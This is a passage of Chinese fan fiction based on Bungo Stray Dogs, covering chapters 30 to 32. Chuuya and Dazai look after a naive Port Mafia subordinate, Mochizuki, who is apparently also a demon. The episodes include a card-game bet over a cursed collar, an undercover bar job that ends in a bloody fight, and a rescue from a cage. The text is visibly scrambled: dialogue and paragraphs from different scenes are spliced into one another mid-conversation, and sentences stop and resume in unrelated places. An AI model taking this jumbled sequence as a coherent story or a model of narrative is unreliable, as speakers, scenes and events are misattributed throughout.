金发少年规规矩矩地坐在凳子上,任凭面前的人在自己的脸上动作。 他被那个银色头发的大叔带到了这个叫做「武装侦探社」的地方,对方似乎是这家侦探社的社长。 「武装侦探社」……唔。 好像谁和自己说过,这个侦探社是被官方允许,横滨少数拥有「异能许可证」的组织来着……糟了,其他的完全不记得了。 不过应该没关系吧。 望月乐观地想到。 组织在日本的据点基本都分布在东京。横滨又比较特殊,就连政府也无力控制。 因此他们掌控的信息也并不多。 “OK,处理完了哦。” 黑泽望月回过神来,懵懵懂懂地摸了摸脸上贴的绷带们,乖巧地朝着面前的黑色短发女性致谢。 “谢谢你,漂亮的蝴蝶姐姐!” ……好像和养只小狗没什么区别。 脑海里这个想法一闪而过,用小金毛替换了望月的样子,似乎毫无违和感。 中原中也不禁觉得有些好笑。 然而今天这只小狗不见了。 赭发少年拿着钢笔的手稍稍顿了下,偏头瞥了眼一旁桌子上放的袋子。这是他出差时买的布丁。 中原中也对甜食不怎么感兴趣。 只是看到的时候,想起了望月的话,顺手就买了。 写完报告后,中原中也简单活动了一番手腕,瞥了眼一旁的时钟,准备结束今日的进程,恰巧秘书三浦泡了咖啡端过来。 中原中也犹豫了一下,还是没忍住问道。 “三浦,你看到过望月吗?” “诶,望月吗?”三浦放下了咖啡,思索了一下。 “啊,这个时间点,望月应该在太宰先生那边吧。” 身后的怨气突破天际。 中原中也、中原中也感觉自己好像有点跟不上对方的脑回路。 “……你想说什么?” “咳,抱歉,重点有点跑偏了。”三浦咳嗽了一声,义正言辞地说道,“我想说的是,” “——中也先生,我们家的狗、望月好像快要被偷了!” 中原中也:…… 望月是人类啊人类!再怎么像也还是人类啊! 不过,中原中也确实有些不放心。 但他不放心的点是太宰治那家伙,不知道那条青花鱼会怎么诓骗小狗;光着自己在太宰那张嘴上栽过的跟头就有不少。 像望月那样的傻小子,估计自己被卖了还乐呵呵地帮太宰数钱呢。 在三浦期待的眼神下,中原中也叹了口气,捞起搭在椅背上的西装外套披在肩上,准备把望月那笨蛋捞回来。 中原中也到了太宰治的办公室前,一点都没客气,连招呼都懒得打直接踹开了门,语气不耐,暴躁得连绕舌音都冒了出来。 “喂,混蛋太宰,你这家伙把我的那部下人……” 话说了一半,在看到办公室里的场景后,赭发少年的声音卡顿了一秒,忍不住在脑袋顶上打出了一个问号。 太宰治的办公室他之前不是没来过,一向简约得很——毕竟里面除了办公桌之类的必要设施外,几乎什么都没有,像是这件房间的主人一样,死气沉沉了无生机。 然而这次,太宰治的办公室可是相当的热闹。 地上是散落一地的游戏,简单到飞行棋、五子棋,复杂到各种类型的电子游戏,几乎一应俱全。 听到门口的动静,坐在那堆乱七八糟的东西中间的二人姑且停下了手里的游戏,扭头看向了站在门口的赭发少年。 “中也!”金发少年的眼睛顿时一亮,盘腿坐在地上,挥手欢呼着打招呼道,“你终于出差回来啦,真是辛苦了!” 望月的扭头,让中原中也更好地看清了此时金发少年脸上的盛况。 黑泽望月的脸上被墨水涂涂画画了好几个叉圈,几乎变成了花猫;坐在他对面的太宰治则神情悠然,脸上也是干干净净的。 这鲜明的对比,看起来像是被霸凌了一样。 ——然而当事人看起来依旧没心没肺,傻乐着毫无阴霾。 “嗯?啧,是小蛞蝓啊。” 太宰治瞥了一眼中原中也,一眼看出对方是来干什么的,眼皮都懒得抬一下,低头回到了手中的牌上。 两个人正在玩扑克牌,望月手里还有两张,太宰手里只剩下一张。 中原中也皱眉,疑惑地走了过来,正好看到那张画着小丑的鬼牌正握在望月的手中。 太宰治伸出手,停留在金发少年手里捏着的两张扑克牌上方;后者咽了口唾沫,神情紧张,几乎是凝滞住了呼吸。 太宰治甚至没有去看牌,只是单纯地观察面前牌后金发少年的表情。 手到左边,满脸紧张,直冒冷汗。 手到右边,开心得就差摇尾巴了。 ……这不赢谁赢? 如果不是还有太宰在,中原中也就差用手扶住自己的额头了。 原来漫画里那种夸张表现,现实里真的存在啊!他也是第一次见如此脸上藏不住情绪的家伙。 这笨蛋没有被人拐骗真是个奇迹。 然而太宰治在之前的游戏里已经看过好几次,已经见惯不惯了。 “唔,让我想想,要抽哪张呢~” 黑发少年故意拉长了声音,手指故意在两张扑克牌之间游离,看着面前的黑泽望月表情变来变去。 这种夸张的反应,害得太宰恶劣性子上来,更想要捉弄对方了。 “蝴蝶姐姐……”中原中也钴蓝色的眸子一凝,再次抬起眼时,带着一种冰川般的冷意。出乎意料的,赭发少年的声音听起来相当平淡,和平日那副一撩便冒火的样子似乎大相径庭。 “望月可不是用来赌注的玩具。” “唔?玩具吗……” 太宰治拉长了声音,故作无辜地歪着脑袋。 黑发少年挂着似笑非笑的神情,没有被绷带遮住的那只鸢色眸子随着主人微微弯起。 “嘛,说实话,好像真的差不多呢……如果你觉得,那我就是认真的。” 与谢野晶子愣了一下,发现面前的金发少年盯着自己头发上的那个金色蝴蝶发夹,这才反应过来。 刚刚社长把这满脸是伤的孩子带回来,让自己帮忙处理一下。她还以为发生了什么事,结果只是被猫抓伤了。 ……话说猫居然抓得这么狠,这孩子到底是做了什么事啊。 脑海中思绪一闪而过,晶子叹了口气,声音慵懒。 “不要用这么羞耻的称呼啊。「晶子」就可以了。” “是,晶子姐姐!” 与谢野晶子盯着对方的笑脸,总感觉自己好像幻视了某种犬类生物。 处理完伤口,望月跟在与谢野的身后,刚踏出医务室,侦探社的门口忽然响起男生响亮的声音。 “我回来了哦~” “社长社长,看,我买到了新零食,而且还没有迷路哦……原来晶子也在啊,美味棒可以分你一个哦。” 穿着英伦风侦探装的黑发男性抱着纸袋,步伐欢快地跑了进来。 “我就不用了,乱步先生。”与谢野对零食不感兴趣。 黑泽望月从与谢野的身后探出半个脑袋,好奇地打量着面前被称之为「乱步」的黑发男性。 对方长着一张可爱的娃娃脸,看起来和自己年龄差不多大,眼睛愉快地眯起,反翘的黑发发梢随着主人的动作一晃一晃着,看起来像是猫咪的耳朵。 对方也同样看见了自己。 江户川乱步忽然睁开了眼睛。 和那张孩子气的脸不相符的,如同鹰隼般的翠绿色眸子紧盯着黑泽望月,锐利得像是将他整个人连同内脏一起剖析开来。 望月微愣,深绿色的眸子下意识瞪大。 面前黑发男生原本上扬的唇角忽然垂下。 名侦探向来藏不住心思,不开心几乎都写在了脸上。 江户川乱步无视了晶子和望月,扭头看向不远处的福泽谕吉,一点也不顾及当事人也在这里,毫不客气地抱怨道。 “社长,不要带麻烦的家伙回来啦——” “乱步?” 福泽疑惑,然而江户川乱步已经蹦跳着过去,凑近了黑泽望月的脸,歪着脑袋好奇地说道。 “不过我也是第一次见被猫咪抓成这样的人。” “咔嚓。” 听到身后响起熟悉的子弹上膛声,只不过不是太宰的,而是其他人的。 望月僵硬地偏过脸,身后是那个穿着神父装的男人。 “没想到被你发现了。” 望月咽了口口水,很快就安慰起自己。 只是一个人而已。 自己稍微用点魔力就可以把对方弄晕,完全绰绰有余。他可是恶魔…… 望月自信起来,忍不住挺起胸口。 他刚准备释放魔力时,几个人朝着这边走来。 “这边怎么了?” 望月:…不用慌,不过是又来了几个人。自己的魔力现在也还够用…… 第 30 章 第三十章 望月和这群孩子被装在盖了布的笼子里,底下的滚轮咕噜咕噜地转动着,如同某种货物,被运送至不知道哪一个房间。 周围安静了下来,只剩下身旁小孩子惊慌的呼吸声。 大概是银发少年在里头年纪最大,而且看起来最不害怕的缘故,周围的小孩子下意识地凑到他的身边,扯着他身上那套唱诗班衣服的衣角。 望月却一脸漆黑。如果此时能放出那条尾巴的话,大概正在烦躁地啪啪拍着地面。 然而他烦躁的原因并不是被抓,而是周围的这群人类幼崽。 “不要抓着吾辈的衣服啦!”那一圈周围相当安静,盘旋着低气压。 只能听见不知道是谁在对讲机里疑惑地“喂喂”中。 刚刚的巨响来自于中原中也,身上暗红色的异能光若隐若现,赭色的发丝和衣摆仿佛失去重力般漂浮在半空中。 然而脚下的水泥地面上则是蛛网般的裂痕。 怪不得刚刚身体一沉。 众人恍然大悟,但又同时满头冷汗。 这二人是听到什么事情才会显得如此……呃,生气? 但感觉用生气这个词来形容二人此时恐怖的表情,好像有些普通。 不论是中原中也还是太宰治,两个人身上肉眼可见地散发着浓浓的黑气,几乎都要实质化了。 感觉下一秒就要上去把人全部给宰了。 众人后脑勺上冷汗更加密密麻麻了,颤颤巍巍地转过脑袋,低头干着手里的事。 “……这家伙,真是勾勾手指头就会被骗走啊。” 中原中也忍不住骂道。 他一边深呼吸着,然而一边又已经开始捏紧拳头,准备热身了,身上的杀气毫不掩饰;太宰治看上去冷静多了,声音平淡地说道。 “……望月。” “啊,原来你们还在啊。” “这边已经结束。你在那边等着我和……” 太宰的话还没有说完,通讯器另一头已经被掐断,一片寂静。 黑发少年愣了一下,不过很快就明白过来,是望月那边有人过来了。 他叹了口气,一旁的赭发少年已经在安排人了。 赶紧去看看狗还在不在吧。 …… 黑泽望月听到了不远处的开门声,果断松开了摁住耳麦的手,切断和太宰那边的对话。 他抬起头朝发出声音的方向看去,是刚刚那个支他出去拿酒的陪酒女郎。 烫着复古波浪卷的女人似乎只是想出来松口气,脸上没什么表情,刚转了个弯就看到没人的角落里还蹲着一个人,被吓了一跳。 回过神来后,发现是刚刚那个新来的小服务员。 金发少年乖巧地蹲在地上,仰头无辜地看着自己,像是某种犬科生物。 她甩了甩脑袋,把这种幻视抛出脑袋,又忍不住皱着眉训道。 “你是笨蛋吗,怎么还在这里呆着?还不趁着这个时候赶紧走。” “啊?”“你在干什么臭小子!” “喂,老大没事吧!” “快点叫医生啊!!” 黑泽望月没有扭头,反手准确无误地将破碎的瓶身插入身后那人试图挥拳揍自己的男人的脖颈。 这回可不是单纯地往脑袋上砸一瓶子的事情了。 陪酒小姐们被这刺激的画面吓得一时间都忘记了尖叫,大脑一片空白。 “混蛋,你这家伙——” 有脑子灵活的立即反应过来,掏出腰间的手/枪上膛,对准面前的金发少年。 然而黑泽望月反应的速度比他们要更快。 他踏步上前,如同豹子般跃起,双腿绞紧对方的脖颈,用碎裂的瓶子狠狠刺中敌人要害,然后踹开,接着下一个。 周围的小弟和保镖一个接着一个倒下,血腥味逐渐掩盖了刚刚碎裂的红酒酒香。 横鼠感觉自己的脑袋昏昏沉沉,在这场面的刺激下,下意识地问道。 “你,你到底是什么人?” “……啊?” 黑泽望月这边刚把一个人踹翻在地,踩碎了对方的手骨,就听到被自己砸了一闷瓶的男人这样说道。 金发少年变成了豆豆眼,一脸迷惑地指了指自己。 “诶,你不是早就已经看出来了吗?” “什、什么?什么看出来了?” “看出我是港口mafia派来的间谍啊。” 黑泽望月被对方训斥得摸不着头脑。 女人从烟盒里抖出一根烟咬在嘴里,低头用手掩着打火机点燃,深深吸了一口后,吐出一圈烟雾。 “笨蛋。你不会连自己被看上了都没意识到吧?” “你现在还有回头的机会。趁着现在赶紧走吧,经理那边我会帮你解释的。” “但是我还有工作要做诶……”毕竟他还得盯着目标,哪能就这么闪人啊。 黑泽望月茫然地说道,反而让女人叹了声气。 “听姐姐一句劝,再怎么缺钱,有些事最好还是别碰。再说了,不管怎样还是别和那样的家伙沾上关系为好……” 虽然这么抱怨着,银发恶魔却没有把自己的衣服从他们的手中扯回来。 望月撅了撅嘴,别扭地对他们说道。 “……哈?太宰?”太宰治哼着不成调的曲子,将那照片顺手拖进了某个相册,脸上总算有了些他这个年龄该有的活力。 但事实上,令敌人闻风丧胆的双黑二人,的确也不过是个十六七岁的少年罢了。 办公室里吵吵闹闹的,即便隔着门外头都能听见。 这种热闹的场景,让门外太宰的部下一时间有些犹豫要不要敲门。 然而手上的工作似乎更重要,太宰的部下咽了口唾沫,硬着头皮敲了几下门。 里头立即安静了下来。 “进来。” 得到许可后,部下进来,在看到两位年轻的干部候补,以及被夹在中间的望月,先是一愣,然后轻声说道。 “那个,太宰先生。尾崎干部那里,希望您去一趟……” “啊,是红叶姐啊。” 太宰治了然,明白大概是审讯相关的事情,微微颔首。 “我知道了。” 他回答的声音平淡又冷漠,似乎又恢复了传闻中港口mafia「黑色幽灵」的样子。 中原中也也不是望月那种读不懂空气的笨蛋。 见状,他也跟着站起身,招呼道。 “望月,走了。” “哦。” 望月当然没有顶着那张花猫脸跟着中也出去,先跑去卫生间洗了把脸。 额前的刘海因为被水打湿而沾成了一绺,脸被粗暴得搓得通红,但还是残留了一些墨迹在皮肤上,隐隐约约的样子比刚才好多了。 望月抬起头,看到镜子里倒映出自己那张湿漉漉的,泛红的脸颊。 他眨了眨眼睛,镜子里的金发少年也跟着眨了眨眼睛,然后跟着镜子外的主人一同笑了起来。 他对着镜子用双手拍了拍自己的脸颊,然后跑了出去,正好看到太宰离开的背影。 黑发少年的身影一转即逝,很快消失在过道的转角。 望月的动作稍微停了下,但很快恢复如初。 “中也中也,我洗完脸了!” 赭发少年双手抱胸靠在墙壁上,听到望月的声音后直起身。 望月还是一如往常那般精神气十足,好像有用不完的能量似的,朝自己跑过来。 紧接着,中原中也就听到某人肚子非常不知趣地“咕噜”了一声。 他忍不住笑出声,抬手搓了一把望月的脑袋。 “走了,带你吃饭去。” 这个意想不到的名字让中原中也忍不住发出难以置信的疑问声。 “是哦。两个人看起来关系挺好的样子。”三浦笑呵呵的,一边说一边回忆着,“毕竟都是一起跳过楼的关系啊,而且还是公主抱呢。” “……”两个人关系好? 先不说望月,光是太宰那讨厌的性格,中原中也就打死不信这两个人能玩到一块去。 “不过我还听到过一种说法。” 三浦还特意停顿了一下,清了清喉咙,然后用夸张的语气像是介绍故事旁白一样。 “望月对太宰先生一见钟情,为了保护太宰挺身而出,千钧一发之际救下太宰先生,太宰为此对望月心生情愫,面对单纯的望月用尽手段,只是为了带走对方,殊不知二人是双向暗恋……” 中原中也刚抿了一口咖啡,听到这离谱的传闻,差点没一口喷面前刚处理好的文件上,被呛了个半死。 “……咳咳咳,哈啊??” 什么玩意儿?哪来的狗血三流小说剧情? 真实情况不过是太宰日常自杀癖大爆发,正巧遇到个听不懂人话的单细胞生物,这才有了之后的事情。 知道真相的中原中也在听到三浦的话后,脑袋上挂上一排黑线。 他们港口mafia什么时候开始这么热爱八卦的啊喂。 出差一趟回来,他是到异世界了吗? 中原中也忍不住骂了一句:“这都什么跟什么啊。” “我也觉得是不可能的。”三浦微笑着,“但是,就算不管外头这些乱七八糟的流言蜚语。这几日中也先生出差不在,自从望月出院之后,就经常跑去太宰先生那边玩。” “上班没有小狗可以玩,对我们部门的工作效率有很大的打击啊,以前看到望月的笑脸感觉像是被小狗治愈了。” “他们不会是看重了这一点所以要把望月撬墙角撬走吧……这个又要加班又没有小狗的世界我是一秒钟都不想呆了。” 到后面,几乎就是三浦个人的碎碎念了。 中原中也看了一眼太宰给自己的位置,找到那个房间后直接踹开。 房间里很空旷,只有一个巨大的铁质笼子,上面覆盖着一层灰色的布。 赭发少年上前直接掀开了布,一边说道。 “喂,望月……” 笼子里只有一群年级不算大的孩子。 他们似乎被刚刚的动静吓了一跳,如同幼鸟般紧张地挤在一起,害怕地望着他。 中原中也先是一愣,随后皱起眉,问道。 “那个银色头发的男生呢?” 30-40 第 31 章 第三十一章(2k营养液加更) 另一边。 太宰治很快地便锁定了自己要找的房间。 撬开保险柜,从里头找出自己想要的东西,飞快扫视一遍后,折好放入口袋,离开房间。 他的脚步如同某种猫科动物,毫无声音。 黑发少年肩上披着的大衣袖子,随着主人的步伐扬起,像是乌鸦的翅膀般在空中微微甩动。 在经过其中一间房间时,太宰治的脚步一顿,随后倒退了回去。 这个房间和别的房间有些不同,通过门把手的磨损情况来看,经常有人出入。 看来是某个人长期居住或者使用的房间。 没有声音,甚至没有上锁。 太宰治思考了一秒,然后伸手转动了门把手。 映入眼帘的豪华房间正中央,正倒着一个男人。 “我的任务完成得不错吧!” “对了,这些姐姐和他们应该没关系。” 望月指了指一旁坐立不安的陪酒女郎们和服务员们, “我刚刚都问过了,她们只是在这里工作的普通人,和目标对象没有其他关系。” 女郎和服务员们在心中惶惶不安。 自己原本的同事突然也变成了黑手党,还把客人给杀了,这已经是一次冲击。 面前的几个人虽然看上去年轻,但在这种地方工作了这么长时间,因为年龄而轻视对方是最不该的事情。 更何况望月刚刚和她们说过,自己是黑手党。 而且还是横滨内最危险的,港口mafia。 然而,那个戴着帽子的赭发少年只是瞥了他们一眼,随意地点了点头。 “知道了。” 少年的声音顿了顿,钴蓝色的眸子锐利地从自己身上扫过,皮肤像是被用匕首划过般,带着一种惊心动魄的威压, “……最好闭紧你们的嘴。什么该说什么不该说,应该心里有数。” “和港口mafia作对的人,结果只有一个。” 众人闻言,顿时如同小鸡啄米般连连点头,表示自己绝对不会多嘴,也不敢多嘴。 “哎,我就说我的同事他们人都很好的啦!” 黑泽望月高兴地朝女郎和服务生们说到,似乎没察觉出众人脑袋上滴落的冷汗。 离开时,望月甚至有些恋恋不舍,或是说遗憾惋惜——这家伙正好奇于对方口中所说的「快速赚钱」的办法。 然而中原中也没搭理他,得不到答案的望月想要去追问其他人,甚至准备去找刚刚先一步离开的太宰治。 “直觉告诉我,中也知道但是不想告诉我!那我去问问太宰好了!” ……直觉不要用在这种地方啊喂! 不远处的众人就看到戴着帽子的赭发男生嘴角微微抽搐,似乎骂了一句什么。 他给了金发少年一个爆栗,惹得小狗嗷嗷叫唤,然后怒气冲冲地拎着这笨蛋的后领准备拖走。 “对了!姐姐记得少抽点烟哦,对身体不好!” 到了门口,被赭发少年拖着走的金发少年突然说道。 他朝着那位烫了波浪卷的陪酒女郎挥了挥手,脸上是灿烂的微笑。 女人愣了一下,看着二人离去的身影,有些恍惚。 …… 走廊上,被中原中也扯着后衣领的黑泽望月思考着,一脸严肃说到。 “中也,我突然意识到一件事。” “……什么?” 中原中也没好气地问道。 望月手指抵着下巴,努力思考的样子并没有让他看起来聪明到哪里去。 “说起来,那家伙知道我是港口mafia的人之后,还问我要多少钱来着,不管多少钱他都会给我的只要我能放他一马……然后他就拿枪偷袭了我。” “所以他到底能给我转多少钱啊?十万日元能有吗?” 中原中也深呼吸一口气,告诉自己不能再敲这家伙的脑袋。 ——本来脑回路就清奇,要是越敲脑子越笨怎么办?都已经是笨蛋了不能再笨了。 ……事已至此,还是别和这笨蛋解释了吧。 中原中也抬起手,默默压低了脑袋上的帽檐挡住自己的表情。 “你就这么缺钱吗?” “唔……毕竟上个月我是底层人员嘛,这个月的工资还没发。” 望月唉声叹气,好不可怜。 赭发少年忽然松开了自己的衣领。 黑泽望月“哎哟”一声,直接坐在了地上;他干脆没有起来,转了个身,仰着脑袋,疑惑地看着自家上司。 “怎么了中也?” 中原中也背对着自己,只能看到他抬手压低了头顶的帽子,沉声说道。 “工资的事情我知道了。我会让三浦给你提前预支两个月的工资的,之后会在每次行动的危险度上,考虑给你增加薪酬;还有……” 中原中也说着,却发现身后很安静。 他转过头看去,结果就对上了金发少年闪烁着小星星的眼睛,无比感动地盯着自己,像小狗一样泪眼汪汪的。 黑泽望月嗷地一嗓子叫了起来,直接扑了个满怀。 “中也,不,中也大人——” “你实在是太帅了!在我心里,你就是仅次于大哥的,伟大帅气的男人!!” 甚至说大哥会扣他工资卡但是中也不会!还会给他涨薪!! 金毛笨蛋紧紧地抱着自己的腰,毛茸茸的脑袋时不时地蹭过脖子,痒痒的,心脏似乎漏跳了半拍,一种不知道该怎样描述的感觉从胸口翻涌而出。 中原中也下意识绷紧了肌肉,手指在僵硬了片刻后,毫不犹豫地敲上了这家伙的脑袋。 赭发少年耳根泛红,声音咬牙切齿地骂道。 “太宰,什么时候开始行动?再不动手人就跑了……喂,你这混蛋到底有没有在听?!” 中原中也黑着脸,直接用重力操控着石头,朝一旁盘腿坐在地上玩游戏机的黑发少年的脑袋上砸去。 而太宰治像猫一样朝前一低头,便轻松地躲开了来自搭档的袭击。 面对暴躁的搭档,黑发少年放下了游戏机,手指点着自己的下巴,好像在认真思考。 太宰治语气故作疑惑。 “咦,难道说是我的记忆出错了吗?我记得前不久,我已经成为五大干部之一,但中也还没有。” “按照职位来说,我算是中也的上层吧。” 中原中也的脑袋上冒出了一个红色十字路口,脸色憋得铁青。 而黑发少年装作不知道的样子,继续阴阳怪气地说道。 “嘛,我想中也应该是无心的,所以就不计较你这次冒犯了。不过嘛……” “下次要记得叫我太、宰、干、部哦,小蛞蝓——” 黑发少年故意咬重了「干部」这两个字,拉长了的尾调整充满了嘲讽的意味。 中原中也感觉自己脑袋里那根控制理智的弦,啪地一声断了。 就在赭发少年怒火中烧着,差点一脚往搭档脑袋上踹去的时候,对讲机里传来某人熟悉的,充满活力的声音。 “中也中也,你们那边还缺人吗!我随时都可以上哦!” “……你给我乖乖待着!” 中原中也咬牙切齿。一个两个的,每个能让他血压飙升。 “嘎啊——为什么啊!怎么又让我盯梢,上次就是不让我参与战斗,一个人在后面待机好无聊!” 对讲机里流出某人不满的抗议,光听声音都能想象出那只金毛满脸的抱怨。 “什么一个人,木村他们不是也在吗!想要抱怨,等你什么时候学会射击了再说吧。” 中原中也没好气地说着,却又看了眼一旁的黑发少年。 这次行动人员的任务都是太宰安排的。 包括黑泽望月。 黑泽望月不喜欢用枪,也不擅长用枪。 在射击场的成绩可以说是惨不忍睹,就连太宰治都看不下去了,试图指导——然后不论他怎么教,这笨蛋的五发子弹永远都有四发脱靶。 随后太宰治就非常果断地放弃了。 身为黑手党居然用不来枪,也算是一件奇葩事——但感觉放在这家伙的身上,似乎又非常正常。 然而本人倒是非常安定地接受了这个事实。 ‘不用郁闷哦太宰。放心吧,就连大哥都放弃了教我射击。他说等我能射中目标,不如期待天先一步塌下来砸死目标。’ 金毛笨蛋自信地竖起大拇指。 当中原中也找到他们时,太宰治正蹲在地上,一只手托着自己的脑袋,另一只手正用手指,戳着地上穿着唱诗班衣服的银发少年的脸颊。 望月脸颊上那块白皙的皮肤硬生生被戳红了,看上去像是快露馅的某种草莓大福。 然而太宰却还是一副百无聊赖的样子。 似乎又有些不甘心。 中原中也的眼皮猛地一跳,眉头皱起。 “喂,混蛋青花鱼,望月他怎么了?” “显然易见,晕过去了。” “我是问他为什么晕过去了。” 太宰治的声音顿了顿,安静了一秒钟,随后缓缓开口,声音之中带着一种莫名的,郁闷又不爽的情绪。 “……大概是饿晕过去了吧。” 第 32 章 第三十二章 港口mafia大楼,办公室内。 自从望月睁眼醒过来,整只恶魔悔得肠子都要青了。 ——哪有家伙会在饿着肚子马上能吃饭的时候晕倒在饭桌上的啊! 这个世界上找不出比他还要倒霉的魅魔了。 尤其是感受到体内基本上已经见底的魔力后,银发恶魔直接当场来了个跪地失意体前屈,长长的尾巴直接拖到了地上,脑袋上阴云密布,整只魔被笼罩在阴影之中。 “吾辈好想要吃饭——” 望月抬起头,瞥到不远处坐在一旁打着掌机的太宰治时,眼睛瞬间一亮。 身后垂地的尾巴重新翘了起来。 银发恶魔像是猫一样,尾巴尖的桃心在空气中甩了甩,用手脚并用地爬了过去,趴在黑发少年的膝盖上,仰起头可怜巴巴地撒着娇。 “太宰~吾辈想要奖励……”中也鄙夷。 作为太宰的搭档,他怎么会不知道这家伙做出的这幅姿态,有多少成分是装出来的。他最擅长的就是玩心理战。 还没等中也开口戳破太宰的真面目,望月则一脸疑惑。 “没有骗你呀。但是中也不一样啊。”望月认真地说道,“中也不仅是我的同伴,而且还是我现在的上司。做部下的得讨上司开心啊。” “太宰是做上司的,怎么能懂我们小员工的心酸之处。” “……这话你教的?” “……怎么可能。” 双黑被望月这番社畜言论惊得一下没反应过来。 “书上说的!”提到这个,某金毛又开始眉飞色舞起来,“《学习手册:职场晋升101》,中也和太宰也想看看吗?那我明天带过来。” “不用了。”“不用了。” 二人异口同声道。 “哦。”望月有些沮丧。 唔,但说不定他可以带给织田看,对方或许需要。 毕竟织田一直呆在底层人员那边,没有升职实在太可惜了。 想到这个,望月顿时不沮丧了,身后的尾巴又重新竖了起来。 太宰治见状,也懒得装了。 脸上的可怜劲儿一收,回复往日那副要死不活的冷淡样子,皮笑肉不笑着拱火。 “哦,是为了讨上司欢心才拉上中也的啊。” “当然也不全是……唔,中也是我的同伴……太宰是朋友……” 望月磕磕巴巴地试图解释,但是感觉自己好像越说越抹黑了。 这个时候单细胞的脑袋倒是转得快,他立即撇下太宰的拱火,试图把话题引回最开始。 “对了,你们刚刚说赌什么?” 他刚刚光顾着找桌游了,完全没在听两个人说什么。 中也懒得再提那话茬,太宰倒是一点也不避讳。 “中也输了的话你就给我当部下哦。” “我可没答应。”中也立即瞪了一眼太宰。 “诶诶,那我们的赌约还要继续吗?”望月傻乎乎地问道。他的目光看向了一旁的太宰治,显然是在问对方。 “……你和太宰赌了什么?” 中也很担心,生怕这孩子真把自己打包打包,然后毫无自知地卖过去。 他们两个明明是同龄人,但中也可没少操心对方。 “就是这个呀。” 望月乖巧地抬起了下巴,露出自己的脖颈。 金发少年的脖颈上,金属制的项圈在灯光下泛着一圈淡淡的冷光,卡在喉结下方处,还有一枚红色的宝石装饰着。 中原中也愣了一下。 他当然知道这个意味着什么。 A的异能力。「宝石王的失常」。 可以将带上这个项圈的部下的寿命转换成同等价值的宝石。 如果本人不同意,就无法佩戴;一旦戴上项圈后,就再也无法摘下。 A的部下大多是经过人口/贩/卖而进入赌场,被危险、被威吓、被逼迫…… 因为不戴上,马上会死;而戴上的话,便能苟延残喘着多活一段时间。 但黑泽望月怎么说都是港口mafia的人,不过是借调过去…… 中原中也眸色越来越沉,翻滚着暗色的乌云。 他完全没注意到太宰在一旁翻了个白眼。 然后,就听到黑泽望月在那儿欢快地回忆道。 “之前在A先生赌场的时候,A先生问我要不要玩扑克牌。” “因为赢了的话就可以吃海鲜大餐;输掉的话就必须带上这个项圈。可以吃海鲜大餐诶,所以我就答应了。但最后还是输给了A先生,然后我就戴上——唔唔唔??” 望月的话还没有说完,一只戴着黑色手套的手直接伸过来一把捏住他的脸颊,嘴巴也被掐成了小鸡嘴的样子。 说不出完整的话,金发少年只能疑惑地朝面前不知为何嘴角抽搐的中原中也眨了眨豆豆眼。 自己说错什么话了吗? “就为了一顿海鲜大餐你就上套了??” 中原中也恶狠狠地,嗓门忍不住拔高了两度。 他真的服了。 还以为A用了什么手段,结果人家是被一顿海鲜大餐勾引着戴上了。 ——A要是知道的话,估计要大呼冤枉。 他的原话明明是“赢了的话他可以答应对方一个要求”,谁知道对方脑子里只想着吃。 金毛小子戴上的时候还开开心心的,搞得他都摸不清头脑。 “不行啊不行啊,没有工资我会饿死的。中也——” “这不是没扣吗!还有,脸不要凑得这么近!” 中原中也果断地一把摁住飞扑过来的金毛的脸,没好气地说道。 就在二人挤在一起打打闹闹时,太宰忽然冷不丁地开口。 “望月,过来。” 黑泽望月和中也玩得正开心,听到了太宰的话后,便乖巧地停下了动作。 虽然不知道对方要干什么,但还是凑了过去。 太宰治忽然伸出手摁住对方的脑袋,看起来像是在抚摸小狗脑袋一样。 手指顺着后颈下滑,修剪整齐的指甲带着微弱的锐意,好像要将后颈处的皮肤划开,露出里头鲜红的血肉。 但实际上,黑发少年的手指只是单纯地擦过后颈那处敏感的皮肤。 太宰治不留痕迹地看向金发少年后颈的金属项圈。 未被绷带缠绕的手指轻轻地搭上项圈,感受到金属项圈上主人的体温。 什么事都没有发生。 果然,只是触碰项圈,「人间失格」不会起效果。 太宰治心中了然。 手指蹭过皮肤时惹起的痒意,还是让望月下意识地想要甩开对方的手。 太宰却没给他这个机会。 像是刚刚什么事都没做过一样,他的手臂顺势从望月的肩膀处穿过去,这个姿势看起来像是从背后搂住对方一样,却又保持着一定的距离,没有贴近,若即若离。 他的手顺势从下方捏住金发少年的脸颊,迫使小狗扬起脑袋,微微扭了一个方向。 “太宰?” 望月的脸颊肉被太宰单手捏住,看起来肉鼓鼓的,手感很好的样子。 他抬起头,正好对上手机的前置摄像头。 太宰不知什么时候从口袋里拿出了手机,屏幕正是二人的脸:一个被画得乱七八糟,看起来傻乎乎的;另一个白白净净,脸上带着轻笑。 不远处的背景是赭发少年看过来时鄙夷中略带不爽的表情。 “记得笑一下哦,望月。” 太宰治毫无心理压力,直接摁下了拍摄键。 这样一张照片就留在了手机中。 拍完照,太宰很快就收回了手。 “太宰是要拍照啊,那中也要拍照吗?” 望月扭头看向了中原中也,绝不落下任何一个人。 他甚至显得很兴奋,满眼写着「拍吧拍吧一起拍照吧」。 中原中也则成了被他盯上的肉骨头。 太宰才不管隔壁被小狗闹得头大的,处在发飙边缘的中原中也,低头看着手机上的照片。 他甚至思考起来,要不要给月刊《不服气的中也》再增加个望月专栏,名字就叫「笨蛋观察日记」好了。 然而,很快太宰就把这个想法抛弃掉了。 ——毕竟按照望月的脑回路,大概率是感到惊奇,然后开开心心地捧着月刊到处找主人展示。 毕竟是个单细胞笨蛋。 不过留着做个纪念还不错。 今天也是愉快的逗小狗玩的一天呢。 感受到赭发少年的手劲儿越来越大,望月立即认怂求饶,委屈巴巴地说道,“当时觉得输了的话还有个项圈戴,很帅气,和中也一样诶……” 他知道这个项圈很危险,有可能会威胁到生命,但也没怎么放在心上。 结果就是玩脱了。 ——异能力真是多种多样,令人难以防备啊。 “我有在长记性!”他认真地强调了一句。 中原中也无语。 他忍不住扭头斜了一眼一旁的太宰治。 太宰治根本没抬头看这俩人的互动,只是垂头用手指弹了下一旁大富翁的角色小人,塑料做的角色小人立即飞到了远处沙发底下。 这幅兴致寥寥的态度——看来他之前就已经听过对方的理由,早就无语过一轮了。 中也深呼吸一口气,也还没消气。 “……所以,你和太宰的赌约是,赢了的话帮你解决项圈的事?” “差不多?” 被捏成小鸡嘴,望月说话的声音含含糊糊的,“是说赢了的话,他就当我的朋友……” ……这和项圈有什么关系? 中原中也在心里骂道。 “然后太宰说,如果赢了的话他可以帮忙解决一下项圈。” “我只说考虑一下。”太宰冷漠地补充道。 “哦对,考虑一下。”望月老实巴交地眨了眨眼。 中原中也顺势看向了太宰,正好对上太宰撇过来的眼神,二人目光仅交换了这么一秒,然后淡然地挪开。 